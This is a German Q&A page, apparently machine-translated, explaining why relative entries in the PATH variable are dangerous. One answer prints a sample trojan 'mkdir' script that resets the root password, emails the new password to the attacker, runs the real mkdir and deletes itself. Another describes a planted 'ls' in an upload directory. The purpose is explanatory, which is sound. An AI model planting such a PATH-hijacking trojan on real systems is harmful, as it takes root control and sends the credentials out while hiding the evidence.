GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Auswirkungen auf die Sicherheit bei der Verwendung relativer Pfade in der PATH-Umgebungsvariable?

Es gibt zwei Probleme mit dem Pfad, den Sie verwenden.

  1. Der Pfad ist relativ.
  2. Der relative Pfad kommt vorher die Hauptwege.

Nehmen wir an, Sie haben das folgende Shell-Skript, das Sie als Root verwenden, um eine Webanwendung zu aktualisieren, und Sie haben den $PATH festgelegt in /etc/profile verwendet wird

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

Sie bieten einem Angreifer die Möglichkeit, etwas in der Shell auszuführen, die von diesem Angreifer kontrolliert wird. Eine Form des Angriffs würde so aussehen - wo ich versuche, die Kontrolle über mkdir zu untergraben Rufen Sie das anfällige Skript auf.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Dann warte ich darauf, dass Sie Ihre Webapp aktualisieren.

Was nun passiert, ist, dass das anfällige Skript zu /dev/shm wechselt . Wenn es dies tut und mkdir ausführt es findet apps/java/bin/mkdir Programm zuerst, das in diesem Fall das Root-Passwort zurücksetzt, dem Angreifer das neue Root-Passwort per E-Mail zuschickt, tatsächlich den echten mkdir aufruft (um zu verbergen, dass tatsächlich etwas passiert ist) und entfernt sich aus dem Angriffspfad.

Als Root haben Sie nein Ahnung, was passiert ist, und die Beweise werden gelöscht, sobald die Nutzlast geliefert wurde.


Das Problem mit einem relativen Pfad in $PATH besteht darin, dass Sie riskieren, diese Datei auszuführen, wenn ein Angreifer eine Datei mit einem bestimmten Namen in Ihrem Dateisystem erstellen kann.

Beispiel:df oder die Überwachung sagt, dass /var voll ist, du sagt, es ist /var/spool/ftp/uploads , was machst du?

cd /var/spool/ftp/uploads
ls -ltr

und du bist im Besitz. Sie sehen nicht einmal ls in der Ausgabe, sodass Sie es nie erfahren werden.

Ersetzen Sie FTP-Uploads durch ein Datenverzeichnis einer Client-Website oder das /tmp-Verzeichnis einer gemeinsam genutzten Maschine oder viele andere Dinge.

Zugegeben, es wird nicht oft vorkommen, aber das Risiko besteht, und ./script zu schreiben statt script ist einfach.


Linux
  1. So ändern Sie die PATH-Variable in Linux

  2. Unterschied zwischen absoluten und relativen Pfaden in Linux

  3. Zählen der Anzahl der Dateien in einem Verzeichnis mit C

  4. Hinzufügen eines neuen Eintrags zur PATH-Variablen in ZSH

  5. Durchlaufen der Elemente einer Pfadvariablen in Bash

Navigieren im Dateisystem mit relativen Pfaden in der Befehlszeile

Verwenden der SSH-Konfigurationsdatei

So verbessern Sie die Sicherheit von Linux-Systemen mit Firejail

Wie ändere ich das Root-Passwort mit WHM?

Absoluter vs. relativer Pfad in Linux:Was ist der Unterschied?

Was sind die Sicherheitsimplikationen von systemd im Vergleich zu systemv init?